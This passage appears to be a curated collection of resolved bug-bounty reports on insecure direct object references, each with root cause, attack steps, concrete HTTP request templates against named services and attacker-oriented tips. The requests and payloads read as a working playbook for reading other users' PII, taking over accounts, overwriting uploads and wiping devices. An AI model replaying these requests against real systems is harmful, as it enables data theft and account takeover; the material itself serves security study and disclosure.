- As attacker, submit Save Settings and intercept, replacing hidBlogID with the victim's
- Victim's blog/website info is overwritten
POST /edit-user-profile
...
hidBlogID=<VICTIM_BLOG_ID>&... // taken from victim page source (radMainSite)
Insight — Hidden inputs and page-source fields (radMainSite, hidBlogID) are object references too. Enumerate them from HTML and swap into update requests.
Real-world example
Cross-user file overwrite via crafted import path (upload secret+filename)
◆ High
Specimen #534794 · gitlab · awarded · 148 votes · resolved
Program gitlabSurface webTag supply-chainTag file-upload
Root cause
Uploaded files are served by <secret>/<filename> but the import restorer writes upload files to a path derived from attacker-controlled export contents, so an import can overwrite an existing upload if its secret+filename are known.
Method
- Identify a target upload's secret and filename (visible for uploads in public repos)
- Craft a project export tar.gz containing ./uploads/<secret>/<filename> with attacker content
- Import the crafted archive as any user
- The served content of the victim's original upload is replaced (e.g. backdoor a compiled binary)
// path inside crafted export tarball
./uploads/ed5ab56bc85699117ba230eb799fd3bf/indi.jpg # == victim secret + filename
Insight — File-serving keyed on a 'secret'+name is spoofable if an import/write path lets you place files at that same key. Great for supply-chain style overwrite (backdooring binaries), not just read. CVE-2019-5469.
Real-world example
Missing ownership check on destructive device-wipe endpoint
◆ High
Specimen #819807 · nextcloud · 500 · 141 votes · resolved
Program nextcloudSurface web
Root cause
settings/personal/authtokens/wipe/{data-id} marks a device for remote wipe by id without verifying the token/device belongs to the requesting user.
Method
- Two accounts each register a device
- As attacker, trigger a wipe and intercept
- Change {data-id} in the URL to the victim's device/token id
- Forward - victim's device is marked for wipe
POST /settings/personal/authtokens/wipe/<VICTIM_DEVICE_ID> HTTP/1.1
Host: <nextcloud>
Insight — Security/device-management actions (wipe, revoke, logout, deauth) are frequently missing object-level checks and are high-impact. Test them with another account's id. CVE-2020-8154.
Real-world example
Invite key/link exposed in API response -> register on behalf of any invitee
◆ High
Specimen #1040047 · automattic · awarded · 127 votes · resolved
Program automatticSurface apiChain invite-key disclosure -> email verification bypass -> Tag account-takeover
Root cause
The people/invites API returns the secret invite_key and invite link (meant only for the invitee's inbox) to the inviter, so anyone who invites an address can complete signup for it, bypassing email verification.
Method
- Invite any not-yet-registered email to a site you own
- Load the invites listing and capture the GET to the invites REST endpoint
- Read invite_key and link from the JSON response
- Open the invite link in another browser and finish registration -> account created without inbox access
GET /rest/v1.1/sites/SITE_ID/invites?http_envelope=1&status=all&number=100
# response JSON leaks: "invite_key": "...", "link": "https://.../accept/..."
Insight — Secrets meant for one party (invite tokens, verification links, share keys) that appear in an API response readable by another party = verification bypass / IDOR. Always diff what the API returns against who is authorized to hold each secret.
Real-world example
Attachment-upload controller missing object authz
◆ High
Specimen #2450215 · security · awarded · 120 votes · resolved
Program securitySurface web
Root cause
The generic /attachments controller (context_type=PentestOpportunity) checked authentication but not whether the user could access the target scoping form, so any signed-in user could upload files to any form given only its ID.
Method
- Create a pentest scoping form; copy its form ID from the URL
- From a second account, POST /attachments with context_type=PentestOpportunity and the tracer/form ID
- File attaches to the victim's form
POST /attachments form-data: tracer=<form-uuid>; context_type=PentestOpportunity; file=<payload.png>
Insight — Shared/generic upload or comment controllers are a classic authz gap: the main resource enforces object-level authz but the side-channel controller (attachments/comments/exports) only checks auth. Test writes to another tenant's object via these generic endpoints.
Real-world example
Act-as-another-user by swapping account ID in a media/publish request
◆ High
Specimen #208978 · x · awarded · 119 votes · resolved
Program xSurface webTag account-takeover
Root cause
Twitter Ads Studio let a user share media with a victim, then modify the publish POST to carry the victim's account ID, causing the tweet/media to post from the victim's account - a classic owner-id IDOR on a state-changing action.
Method
- Share media with the victim account via Ads Studio
- Capture the publish request
- Replace your account ID with the victim's account ID and resend
- Content posts from the victim's account
POST .../ads-studio publish { ..., account_id: <VICTIM_ID>, media: <shared_media> }
Insight — On multi-tenant 'act on behalf of account X' endpoints, the account/owner ID in the request body is the trust boundary; swap it to a victim's ID. Sharing a resource with the victim first can satisfy a reference check.
Real-world example
IDOR on API exposing data hidden in the UI (newsletter subscribers by URN)
◆ High
Specimen #1716300 · linkedin · awarded · 117 votes · resolved
Program linkedinSurface api
Root cause
GET voyagerPublishingDashSeriesSubscribers resolves a seriesUrn/NewsletterId (public value) with no server-side check that the caller owns the newsletter, exposing the subscriber list.
Method
- Create a newsletter, open Subscribers, capture the Voyager request
- Replace the seriesUrn NewsletterId with the victim's (publicly visible)
- Replay - response returns the victim's subscriber list and profile details
GET /voyager/api/voyagerPublishingDashSeriesSubscribers?decorationId=com.linkedin.voyager.dash.deco.publishing.SeriesSubscriberMiniProfile-2&count=10&q=contentSeries&seriesUrn=urn%3Ali%3Afsd_contentSeries%3A<VICTIM_NEWSLETTER_ID>&start=0 HTTP/2
Host: www.linkedin.com
Insight — Data hidden in the UI is often fully reachable via the API. URN references (urn:li:...:ID) are object ids too - the numeric/id tail is the IDOR handle, and it's frequently public.
Real-world example
IDOR via predictable MongoDB ObjectId -> steal stored OAuth tokens
◆ High
Specimen #1464168 · semrush · awarded · 103 votes · resolved
Program semrushSurface apiTag oauthTag account-takeover
Root cause
Records are addressed by MongoDB ObjectIds without per-user authorization; ObjectIds are largely predictable (4-byte timestamp + 5-byte per-process value + 3-byte incrementing counter), so ids can be brute-forced to read other users' social-network access tokens.
Method
- Observe your own ObjectId for the resource (stored social token)
- Predict nearby ids: only the 3-byte counter and timestamp vary within a process window
- Request other ids until you retrieve another user's token object
- Use the token to control that user's ad account
# ObjectId = [4B timestamp][5B machine/process][3B incrementing counter]
# hold the 5B constant, vary counter/timestamp to enumerate sibling records
Insight — Treat MongoDB ObjectIds as guessable, not secret; when an app uses them as authorization tokens, brute-forcing the low-entropy counter/timestamp bytes turns 'unguessable id' into a working IDOR.
Real-world example
Ride-app booking_id IDOR leaks booking, bids and config PII
◆ High
Specimen #2374730 · bykea · awarded · 103 votes · resolved
Program bykeaSurface apiTag account-takeover
Root cause
Booking/bids/config endpoints authenticate the caller by their own _id and token but authorize the object solely by the path booking_id/trip_id, never checking that the caller owns that booking.
Method
- As victim, create a trip and note the returned trip_id/booking_id
- As attacker, authenticate to get your own user_id and token
- Request the booking/bids/config endpoints substituting the victim booking_id while keeping your own _id and token
GET https://api.bykea.net/api/v1/bookings/{{booking_id}}?_id={{attacker_id}}&token_id={{attacker_token}}
GET https://api.bykea.net/api/v2/bids/{{booking_id}}?_id={{attacker_id}}&token_id={{attacker_token}}
GET https://boleelagao.bykea.net/v1/config?lat=..&lng=..&service_code=23&trip_id={{booking_id}}
Insight — When a request carries BOTH a caller identity (token) and a resource id, always test whether the backend cross-checks them. Valid-token + foreign-object-id is the core IDOR test; here it returned full pickup/dropoff coordinates and PII.
Real-world example
Content takeover via actionable[] id, escalated through team 'move to another user'
◆ High
Specimen #915127 · automattic · awarded · 94 votes · resolved
Program automatticSurface webChain read IDOR (My Content) -> full takeover (Move to another Tag account-takeover
Root cause
The CrowdSignal 'Move to' action accepts an actionable[] content id without ownership check (ids are sequential); with a team account the 'Move to another user' variant transfers full ownership, escalating limited access to complete takeover.
Method
- Intercept the POST /dashboard 'Move to > My Content' request and set actionable[] to the victim's content id (limited access)
- For full takeover: add a second team member, use 'Move to > Move to another user' targeting that member and set actionable[] to the victim content id
- The victim content now lives fully editable in the team member's account
POST /dashboard actionable[]=<victim_content_id> (Move to My Content = read; Move to another user in a team = full takeover)
Insight — When one IDOR gives partial access, look for a sibling privileged variant of the same action (team/enterprise features often relax constraints) to escalate read-only IDOR into full object ownership.
Real-world example
IDOR via iterable integer projectId in createEngagement mutation
◆ High
Specimen #2291999 · linkedin · awarded · 93 votes · resolved
Program linkedinSurface apiTag account-takeover
Root cause
The Request Services createEngagementV2 action lets an attacker attach their own service-account as provider to any confidential marketplace project by supplying the project urn; projectIds are sequential integers.
Method
- Create a service/provider account
- POST createEngagementV2 with projectUrn pointing at a victim project id and providerProfileUrn set to your own account
- Iterate the integer project id to enumerate other users' confidential projects and submit proposals
POST /voyager/api/voyagerMarketplacesDashServiceMarketplaceEngagement?action=createEngagementV2&decorationId=com.linkedin.voyager.dash.deco.marketplaces.CreateEngagementResponse-4
{"projectUrn":"urn:li:fsd_marketplaceProject:(<PROJECT-ID>,SERVICE_MARKETPLACE)","providerProfileUrn":"urn:li:fsd_profile:<ATTACKER-SERVICE-ACCOUNT-ID>"}
Insight — Marketplace/engagement 'submit' flows often let you bind yourself to an object you shouldn't see. Iterating the integer inside a urn tuple both leaks confidential project data and inserts the attacker into the workflow.
Real-world example
Chain: unauthorized draft update + orphaned polymorphic attachment reassignment
◆ High
Specimen #1034346 · security · none · 90 votes · resolved
Program securitySurface webChain missing-authz draft_sync (hijack NULL-owner draft) -> orpTag file-upload
Root cause
draft_sync calls the update interactor without authorization, so removing the tracer lets an unauthenticated user hijack NULL-owner drafts created by security@ email forwarding; a second flaw reassigns any orphaned (attachable_id NULL, uploaded_by NULL) attachment to the attacker's draft, stealing deleted attachments.
Method
- Note the latest draft_id from an authenticated draft_sync response and the highest attachment id you can see
- Send an email to the program's security@ forwarding address to create a NULL-owner ReportDraft a few ids up
- In an incognito embedded-submission form, intercept draft_sync, set draft_id to that id and delete the tracer field to seize the draft
- Set attachment_ids to the full range 1..N; orphaned anonymous attachments get re-parented to your draft
- Claim the draft via the invitation email and download the victim attachments inline
POST /<uuid>/embedded_submissions/draft_sync
{"draft_id":"1","title":"...","vulnerability_information":"...","attachment_ids":[1,2,3,...N]} (tracer field removed)
Insight — Two subtle root causes: (1) service objects invoked with interact_without_authorization skip authz entirely, and (2) ORM polymorphic relations (attachable_id/type) that get NULLed on removal become globally re-parentable. When an object can be orphaned to a NULL owner, any endpoint that claims by id can steal it.
Real-world example
Unauthenticated numeric IDOR file download
◆ High
Specimen #1626508 · deptofdefense · 500 · 77 votes · resolved
Program deptofdefenseSurface web
Root cause
A Download.aspx?id=<int> endpoint serves sensitive documents with no authentication and no ownership check; incrementing the numeric id returns arbitrary users' PII/classified files.
Method
- Browse to Download.aspx?id=4675 unauthenticated
- Increment/decrement the id parameter
- Retrieve arbitrary documents (bank/tax records, contracts, PII)
GET https://www.<host>/Download.aspx?id=4675 (iterate id)
Insight — The simplest IDOR still lands: a classic .aspx download handler with a bare numeric id and no session gate. On legacy/gov ASP.NET apps, probe *.aspx?id= file/download handlers first.
Real-world example
BOLA on mobile API: swap customer_id to read other users' PII
◆ High
Specimen #2746709 · mtn_group · none · 75 votes · resolved
Program mtn_groupSurface mobile-android
Root cause
A mobile-app API endpoint returns a user's transaction history keyed on a client-supplied customer_id/msisdn without checking it matches the authenticated caller, so changing that value discloses any customer's transaction PII.
Method
- Proxy the mobile app (bypass SSL pinning) and capture the transaction-history request
- Change the customer_id (an MSISDN/phone number) to another subscriber's number
- The response returns the victim's recharge dates, amounts, balances, and transaction IDs
POST /api/v2/rechargeTransactionHistory HTTP/2
Authorization: <your token>
Content-Type: application/json
{"customer_id":"234XXXXXXXXXX","start_date":"...","end_date":"..."}
// swap customer_id to any MSISDN -> victim's transaction history
Insight — Object identifiers that are guessable/enumerable (phone numbers, account numbers) plus an authorization that only checks 'valid token' = BOLA. On mobile APIs, always intercept (defeat pinning first), then A/B test by substituting the id with a value you don't own. Enumeration is trivial when the id is a phone number.
Real-world example
Cross-user image access + EXIF/geolocation not stripped from uploads
◆ High
Specimen #906907 · irccloud · $200 · 66 votes · resolved
Program irccloudSurface web
Root cause
Profile/upload image URLs are accessible cross-user by changing the URL parameter, and the server stores images without stripping EXIF, so an attacker retrieves other users' photos complete with camera model, timestamps and GPS latitude/longitude.
Method
- Upload an image as account 1 and open its image URL
- Do the same as account 2 to learn the URL parameter pattern
- Change account 1's URL parameter to account 2's value to fetch the victim image
- Run the retrieved image through exiftool / exif.regex.info to read GPS + metadata
exiftool victim_profile.jpg # reveals GPS latitude/longitude, camera, timestamps
Insight — Always pull uploaded media and check for retained EXIF/GPS; combine with any image-URL IDOR to deanonymize/geolocate users. Test with known-GPS samples (github.com/ianare/exif-samples).
Real-world example
Unauthenticated admin API leaks PII + attachments by numeric ID
◆ High
Specimen #1061292 · gsa_vdp · none · 60 votes · resolved
Program gsa_vdpSurface apiChain pendingUserDetails/{id} -> attachment IDs -> getAttach
Root cause
Admin-only registration-review API endpoints require no authentication at all; a numeric registration ID returns full PII, and a second endpoint streams the referenced attachment bytes by attachment ID, both enumerable.
Method
- Request pendingUserDetails/<REGISTRATION_ID> directly with no auth
- Read email, address, phone, corporate info, roles, status, attachment IDs
- Request getAttachmentBytes/<ATTACHMENT_ID> to download the referenced documents
- Enumerate both numeric IDs to dump all pending registrations
GET https://tamsapi.gsa.gov/user/tams/api/usermgmnt/pendingUserDetails/2634
GET https://tamsapi.gsa.gov/user/tams/api/usermgmnt/getAttachmentBytes/600
Insight — Backend/admin API hosts (api., internal., *api.gsa.gov) frequently lack the auth gateway the front-end enforces. When a response returns attachment/document IDs, look for a sibling 'download bytes' endpoint keyed on that ID for a second, richer leak. Enumerate numeric IDs to scale to full data dump.
Real-world example
Unauthenticated Salesforce Aura ContentDocument dump
◆ High
Specimen #2623715 · deptofdefense · none · 55 votes · resolved
Program deptofdefenseSurface webChain getItems ContentDocument -> record IDs -> Shepherd dow
Root cause
A Salesforce Experience/Community (Aura/Lightning) site exposes the generic SelectableListDataProviderController getItems action to unauthenticated visitors, letting anyone list ContentDocument records and then download the underlying files via the Shepherd download servlet with no access control.
Method
- On a /s/ community page, capture any POST to /s/sfsites/aura
- Replace the action with getItems over entityNameOrId=ContentDocument, pageSize=2000 to enumerate file record IDs
- Take a returned ContentDocument ID (069...) and fetch it via the Shepherd document download servlet
POST /s/sfsites/aura?r=1&aura.ApexAction.execute=1 HTTP/1.1
Host: <community>.experience.<host>
Content-Type: application/x-www-form-urlencoded;charset=UTF-8
message={"actions":[{"id":"123;a","descriptor":"serviceComponent://ui.force.components.controllers.lists.selectableListDataProvider.SelectableListDataProviderController/ACTION$getItems","callingDescriptor":"UNKNOWN","params":{"entityNameOrId":"ContentDocument","layoutType":"FULL","pageSize":2000,"currentPage":0,"getCount":false,"enableRowActions":false}}]}&aura.context=...&aura.pageURI=%2Fs%2Fregistration&aura.token=null
// then download:
GET /sfsites/c/sfc/servlet.shepherd/document/download/<ContentDocumentId>
Insight — Salesforce Community/Experience sites (paths /s/, host *.force.com/*.experience.*) frequently leave built-in Aura controllers (getItems/getRecord) unauthenticated. Enumerate standard objects (ContentDocument, User, Account, Case) via getItems, then pull records/files by ID. This is the classic 'Aura recon-ng / ContentDocument' pattern.
Real-world example
Cross-tenant backup recovery via session swap
◆ High
Specimen #1901713 · acronis · awarded · 55 votes · resolved
Program acronisSurface apiChain IDOR backup recovery -> overwrite/destroy victim data
Root cause
The backup recovery 'run plan' endpoint did not verify that the target machine/backup belonged to the caller's organization; replaying the run request with a different org's session recovers/overwrites another tenant's backup.
Method
- As org A, configure a recovery of your own backup to your own device and capture the request
- Note machine UUID + backup ID parameters
- Replay /bc/api/ams/recovery/plan_operations/run using org B's X-Apigw-Session
- Victim backup is recovered/overwritten to attacker-controlled machine
POST /bc/api/ams/recovery/plan_operations/run
X-Apigw-Session: <ATTACKER_ORG_SESSION>
{ ... victim machine UUID, backup ID ... }
Insight — Multi-tenant/backup systems often authorize the wrapper UI but not the low-level operation endpoint. Capture a legitimate action, then replay it cross-tenant with your own session and swap resource IDs. Escalates to data destruction via backup overwrite.
Real-world example
Member/invite lookup endpoint leaks PII for arbitrary userIds
◆ High
Specimen #787955 · lab45 · none · 54 votes · resolved
Program lab45Surface api
Root cause
The 'Manage Invitations' member-lookup GET behaves like a DB query and the POST accepts arbitrary userIds; supplying IDs you do not own returns their email and profile data even though no other endpoint exposes email.
Method
- Open project member invitation flow and intercept the GET (lookup) and POST (add) requests.
- Manipulate the GET query to resolve any user's ID (e.g. filter by email domain like @wearehackerone.com).
- Submit arbitrary userIds in the POST and read emails/PII returned in the response.
# GET lookup -> resolve userIds (filter by email/domain)
# POST /members/invite/ body: userIds[]=<VICTIM_ID> -> response leaks email + profile
Insight — Invite/share/member-picker endpoints are prime IDOR + excessive-data-exposure surfaces: the autocomplete/lookup often returns more fields (email, phone) than any product page, and the add action accepts arbitrary IDs. Always A-B test other users' IDs here.
Real-world example
Missing per-object ownership check found via sibling-endpoint diff
◆ High
Specimen #3401612 · revive_adserver · none · 53 votes · resolved
Program revive_adserverSurface web
Root cause
banner-delete.php authorizes access to the parent client/campaign but never checks ownership of the specific bannerid in the delete loop, so a Manager keeps their own clientid/campaignid and deletes any other Manager's banner.
Method
- Login as Manager A and open your own campaign-banners page
- Extract your valid CSRF token from an action link
- Enumerate a victim's sequential bannerid
- Request banner-delete.php with your token/clientid/campaignid but the victim's bannerid
- Victim's banner is deleted
GET /www/admin/banner-delete.php?token=<YOUR_CSRF>&clientid=100&campaignid=100&bannerid=<VICTIM_BANNER_ID>
Insight — Diff sibling endpoints in the same app: here campaign-delete.php validated ownership inside its loop but banner-delete.php did not. When one CRUD handler is secure, its siblings (delete/edit/move) are prime IDOR targets. Keep valid parent IDs to pass coarse checks; swap only the leaf ID.
Real-world example
IDOR on WordPress wp-json ticket-comment endpoint
◆ High
Specimen #1007988 · automattic · awarded · 52 votes · resolved
Program automatticSurface api
Root cause
A custom wp-json REST route for support-request comments keys on a sequential numeric request ID without verifying ownership, so any authenticated user can read and post comments on other users' tickets.
Method
- Create two accounts (A and B) and have A open a support/approval request.
- As B, capture a comment request and swap the request ID to A's ticket ID.
- Send it: comment is posted and other users' ticket comments become readable.
POST /wp-json/brc/v1/approval-requests/44799/comments HTTP/1.1
(text=sure thanks&files=...) # 44799 = victim A's ticket id, sent with B's session
Insight — Custom wp-json routes with numeric object IDs are frequent IDOR targets; A-B test another account's ticket/request IDs on POST and GET. Pair with /wp-json/ route enumeration (#540301) to find these endpoints.
Real-world example
Response-based IDOR leaks buyer PII on comment curate
◆ High
Specimen #1410498 · judgeme · $1250 · 46 votes · resolved
Program judgemeSurface webTag account-takeover
Root cause
A publish/curate action keyed by comment_id returns the full comment object (buyer name+email) with no ownership check on the comment.
Method
- Install Checkout Comments, create a comment to learn the request shape
- Send POST /extensions/checkout_comments/curate_comment with comment_id
- Iterate comment_id; each response discloses buyer name and email
POST /extensions/checkout_comments/curate_comment
Content-Type: application/x-www-form-urlencoded
comment_id=<N>&curated=ok
Insight — Even a write/moderation action is an info-leak IDOR if it echoes the object in its response - enumerate the id and read the JSON body.
Real-world example
Delete any user's external storage via auto-increment id
◆ High
Specimen #2212627 · nextcloud · awarded · 44 votes · resolved
Program nextcloudSurface api
Root cause
The files_external user-storage endpoint keyed operations on a globally auto-incrementing storage id without verifying ownership, so a standard user could target another user's (e.g. admin's) storage id and delete/modify it.
Method
- As a standard user, create an external storage and capture the PUT config request containing your id
- Note ids auto-increment globally across users
- Replay the request substituting a higher/other id belonging to another user
- That user's external storage is removed/modified
PUT /apps/files_external/userstorages/<other_id> HTTP/1.1
Host: target
Content-Type: application/json
{"mountPoint":"x","backend":"owncloud","authMechanism":"password::logincredentials","backendOptions":{...},"testOnly":true,"id":<other_id>,"mountOptions":{...}}
Insight — Sequential/auto-increment resource ids on per-user endpoints scream IDOR - enumerate neighboring ids and confirm the server checks ownership, not just authentication. Even delete/modify-only IDORs (no read) are impactful (data loss/DoS).
Real-world example
IDOR on media_id preview endpoint exposes private DM / protected-tweet media
◆ High
Specimen #99600 · x · awarded · 39 votes · resolved
Program xSurface apiTag account-takeover
Root cause
An ads media-preview endpoint resolves a media_id to its CDN URL without checking that the requester owns/can-view that media, so incrementing/substituting media_id returns CDN links to any user's media, including Direct Messages and protected tweets.
Method
- In the ad-campaign media upload flow, capture the JSON request that resolves a media_id to a preview CDN URL.
- Substitute other media_id values.
- Server returns the CDN link for arbitrary users' private media.
GET /media_id_to_cdn_url.json?media_id=OTHER_MEDIA_ID&_=1447455982153 HTTP/1.1
Host: ads.twitter.com
X-Requested-With: XMLHttpRequest
Cookie: <session>
Insight — Preview/thumbnail/CDN-URL resolver endpoints often skip object-level authorization because devs assume the ID is unguessable. Any endpoint that maps an object ID to a fetchable URL is a prime IDOR target for private-media disclosure.
Real-world example
Guest-readable per-user permission API, enumerable
◆ High
Specimen #1848176 · us-department-of-state · none · 39 votes · resolved
Program us-department-of-stateSurface apiTag jwt
Root cause
/api/v1/permission/user/{USER_ID}/ returns any user's personal info to a low-priv/guest token because it lacks an ownership/authorization check.
Method
- Log in as the guest account and grab the JWT
- Request /api/v1/permission/user/{id}/ with that JWT
- Cycle id 1..N with Burp Intruder to dump all users
GET /api/v1/permission/user/<ID>/
JWT: <guest_token>
Insight — Guest/demo accounts often keep valid tokens with no row-level checks; sequential {id} paths + Intruder = full enumeration. (Self-hostable, so root cause auditable.)
Real-world example
Sequential numeric confirmation ID enumerates applicant PII
◆ High
Specimen #1100383 · deptofdefense · none · 36 votes · resolved
Program deptofdefenseSurface web
Root cause
A post-registration confirmation page reflects the applicant's name keyed on an unauthenticated, sequential numeric parameter (stu=), so cycling the value dumps every registrant's name/PII.
Method
- Register once to observe RegistrationConfirmation.aspx?stu=490504
- Decrement/iterate stu from a low value
- Scrape the reflected candidate name for each ID
GET /.../RegistrationConfirmation.aspx?stu=490504 HTTP/1.1
# iterate stu=1..N to enumerate all applicants
Insight — Confirmation/receipt/'thank-you' pages are frequently unauthenticated and keyed on incrementing IDs; enumerate them to bulk-harvest PII. Fix is UUIDs + auth.
Real-world example
Order-id enumeration IDOR
◆ High
Specimen #287789 · bohemia · awarded · 34 votes · resolved
Program bohemiaSurface web
Root cause
Order detail pages authorize by presence of a login, not ownership, and use sequential numeric ids, so any authenticated user can iterate ids to read others' orders and PII.
Method
- Log in and open your own order at /order/<id>?confirmed=true
- Decrement/increment the numeric id
- Read other users' order details, IPs, PII
GET /order/1003793?confirmed=true HTTP/1.1
Insight — Sequential resource ids on order/invoice/ticket endpoints are the highest-yield IDOR surface; always A/B test with a second account and iterate ids.
Real-world example
Upload into another user's section (id swap) + race the empty slot
◆ High
Specimen #1196976 · deptofdefense · none · 27 votes · resolved
Program deptofdefenseSurface webChain IDOR upload -> (194594) overwrite admin document -> imTag file-upload
Root cause
The attachment-upload endpoint keys the target section by a client-supplied id and only allows an upload when no attachment exists yet; swapping the id writes into other users' sections, and a race condition wins the empty-slot window on freshly created sections. Related: the same upload-overwrite pattern let a driver overwrite another driver's (and the admin's) documents, escalating to admin.
Method
- Create a section and upload an attachment, intercept the upload request
- Change the section id parameter to the victim's section id (which has no attachment yet)
- Send -> 'success', the file is stored in the victim's section
- Automate with a race to catch newly created sections before the legit user uploads
POST /upload HTTP/1.1
Host: TARGET
Cookie: <attacker session>
...§ionId=<VICTIM_SECTION_ID>&file=...
Insight — Upload/overwrite endpoints keyed by a resource id are write-side IDORs: they enable content forgery and, when they can overwrite an admin's documents, privilege escalation. Combine with a race whenever the guard is 'only if empty'.
Real-world example
Sequential-ID IDOR returns full PII (SSN/EDIPI)
◆ High
Specimen #1541817 · deptofdefense · none · 26 votes · resolved
Program deptofdefenseSurface apiTag api
Root cause
An authenticated endpoint returned any record by its numeric perId with no check that the record belongs to the requester, exposing SSN and EDIPI.
Method
- Authenticate and open a record you own; capture the XHR (listReviews?perId=)
- Increment/replace perId with arbitrary values
- Read the returned JSON containing ssn/edipi/soldierName
GET https://TARGET/svc/reviewController/listReviews?perId=<any>
-> [{"perId":..,"ssn":"...","edipi":"..."}]
Insight — Watch the network tab for numeric-keyed *Controller/list* XHRs; incrementing the id is the whole exploit when authz is missing.
Real-world example
User-controlled foreign key (uid) links attacker account to victim's
◆ High
Specimen #674195 · gitlab · awarded · 25 votes · resolved
Program gitlabSurface webChain Writable uid -> account link -> subscription destructiTag oauth
Root cause
The billing site's update-account request accepts customer[uid] (the GitLab.com user id, sequential and public) and links the billing account to it with no verification, so an attacker binds their billing account to the victim's identity.
Method
- Register on the billing site via your own SSO account
- Replay the Update Account PATCH but set customer[uid] to the victim's (sequential, public) user id
- Accounts are now linked: on victim login their subscriptions are lost; when victim updates data it syncs to the attacker (including CC last-4), enabling purchases on the victim's card
await fetch("https://customers.TARGET/customers",{credentials:"include",method:"POST",body:"_method=patch&authenticity_token=<t>&customer%5Buid%5D=VICTIM_ID&customer%5Bprovider%5D=gitlab&..."})
Insight — Any field that sets an owner/identity foreign key (uid, provider_uid, account_id, sso_id) must be server-derived, never client-supplied. A writable uid is an account-linking IDOR that grazes data theft and payment abuse.
Real-world example
Drop the auth cookie entirely: unauth IDOR on numeric attachment id
◆ High
Specimen #3259610 · deptofdefense · none · 25 votes · resolved
Program deptofdefenseSurface web
Root cause
/BugReport/Admin/Attachment/{id} serves attachments of private bug reports with no authorization check and no authentication requirement, so removing the Cookie header and incrementing the numeric id returns any user's attachment.
Method
- Login and view a bug-report attachment; capture GET /BugReport/Admin/Attachment/<id>
- Remove the entire Cookie header from the request
- Send unauthenticated -> file contents still returned
- Enumerate/guess numeric ids for other users' private attachments
GET /BugReport/Admin/Attachment/1568600 HTTP/1.1
Host: TARGET
# (no Cookie header at all)
Insight — Always retest an authenticated request with the session cookie fully removed - many 'internal/admin' resource endpoints never check auth at all. Sequential numeric ids then make it mass-exfiltration.
Real-world example
SAAR PII exposure via decrementing saarnId
◆ High
Specimen #2967032 · deptofdefense · none · 21 votes · resolved
Program deptofdefenseSurface web
Root cause
A SAAR (system access request) view endpoint keyed records on a sequential saarnId URL parameter with no ownership check, exposing (and possibly editing) tens of thousands of users' PII, DODID, and clearance level.
Method
- Submit a SAAR as intended and note the saarnId parameter.
- Lower/increment saarnId.
- View other users' SAARs (name, email, phone, DoB, DODID, clearance).
GET /path?saarnId=VICTIM_ID HTTP/1.1
Host: TARGET
Insight — Workflow/request-tracking systems (access requests, tickets, forms) almost always number records sequentially and under-check reads. Submit one legitimately, then walk the id.
Real-world example
GraphQL mutation IDOR via public object UUID
◆ High
Specimen #1102365 · reddit · awarded · 20 votes · resolved
Program redditSurface mobile-iosTag graphql
Root cause
Dubsmash UpdateSound mutation edits a sound identified by uuid without checking the sound belongs to the caller; sound uuids are publicly exposed.
Method
- Capture the app's UpdateSound GraphQL request with your own auth token
- Replace the input.uuid with a victim's publicly-known sound uuid
- Send it -> victim's sound title is overwritten
POST /graphql?platform=ios
Authorization: Bearer <ATTACKER_TOKEN>
{"query":"mutation UpdateSound($input: UpdateSoundInput!){updateSound(input:$input){sound{uuid name}}}","variables":{"input":{"uuid":"<VICTIM_SOUND_UUID>","name":"pwned"}}}
Insight — Even opaque UUIDs are not authorization: if the identifier is publicly discoverable (share links, listings), replay write mutations with your own valid token but someone else's object id. Test every update/delete mutation for missing ownership checks.
Real-world example
Stored FTP credentials exposed via id enumeration
◆ High
Specimen #228383 · deptofdefense · none · 20 votes · resolved
Program deptofdefenseSurface webChain IDOR read of integration object -> stolen FTP creds ->Tag account-takeover
Root cause
A 'push server' management page did not verify ownership of the object referenced by its numeric id, exposing (and allowing edit/delete of) any user's stored FTP/sFTP hostnames, usernames and passwords.
Method
- Create an account and open your own filepush/ftp/<id> config.
- Change the id in the URL.
- Read hostname/username/password of any user's FTP server; the record is also editable/deletable.
GET /path/filepush/ftp/303/ HTTP/1.1
Host: TARGET
Insight — IDOR over stored-credential objects (integrations, connectors, push servers) is a credential-theft primitive, not just info disclosure. Enumerate low ids first; they often hold real production secrets.
Real-world example
IDOR via client-controlled user-id cookie
◆ High
Specimen #1004745 · deptofdefense · none · 12 votes · resolved
Program deptofdefenseSurface web
Root cause
The app resolves the current user's profile from a client-controlled UID2 cookie instead of the server session, so tampering the cookie value returns another user's data.
Method
- Register and log in, open My Profile and intercept the request
- Change the UID2 cookie value (e.g. 4820038 -> 4820036)
- Forward; the response shows another user's information
Cookie: UID2=4820036 (decrement/enumerate from your own 4820038)
Insight — IDORs live in cookies, not just URL/body params. Inspect cookies for user/account ids and tamper them; sequential values make full enumeration trivial.
Real-world example
Profile-image upload bound to client personId
◆ High
Specimen #741683 · deptofdefense · none · 10 votes · resolved
Program deptofdefenseSurface webTag file-upload
Root cause
The profile-image upload associates the uploaded file with a client-supplied personId with no ownership check, letting an attacker overwrite any user's profile image.
Method
- Browse an image and click upload; intercept the request
- Change the personId parameter to the victim's account_id
- Forward; the image now appears on the victim's approved profile
multipart upload request with personId=<VICTIM_ACCOUNT_ID> (swap from your own)
Insight — File-upload endpoints that carry a target user/person id are IDOR write primitives; swap the id to write files/content into other accounts.
Real-world example
IDOR via human-readable object name in URL path
◆ High
Specimen #1472721 · gsa_vdp · none · 9 votes · resolved
Program gsa_vdpSurface web
Root cause
Object is addressed by its name in the URL with no per-object authorization check, so any authenticated user can operate on another user's object.
Method
- Create an object in account A, note its name in the URL
- Log in as account B and browse to the same path with A's object name
- View, edit, download, and reassign permissions on A's object
GET /TwsHome/ScorecardManage/VICTIM_OBJECT_NAME
Insight — Name-based references (slugs, titles) are IDOR sinks just like numeric IDs and are often guessable/brute-forceable. Test every object-scoped action, not just read - edit and permission-assignment often share the same missing check.
Real-world example
Sequential record IDs disguised by base64 encoding
◆ High
Specimen #484377 · deptofdefense · none · 7 votes · resolved
Program deptofdefenseSurface web
Root cause
A record identifier passed as a base64-encoded GET parameter is actually a predictable, sequential value; the server returns any record by ID with no per-user authorization check.
Method
- Observe an opaque-looking parameter (e.g. offasgid=MjAwODAyMTg1Nw==) and base64-decode it -> plain integer/date-sequence (e.g. 2008021857 = {year}{seq})
- Increment/decrement the decoded value, re-encode base64, and re-request
- Confirm cross-account access by opening the URL in a fresh (cookie-less) session and only re-authenticating
# decode -> mutate -> re-encode
echo -n MjAwODAyMTg1Nw== | base64 -d # 2008021857
echo -n 2008021858 | base64 # MjAwODAyMTg1OA==
GET /portal/viewrfo.aspx?offasgid=MjAwODAyMTg1OA==
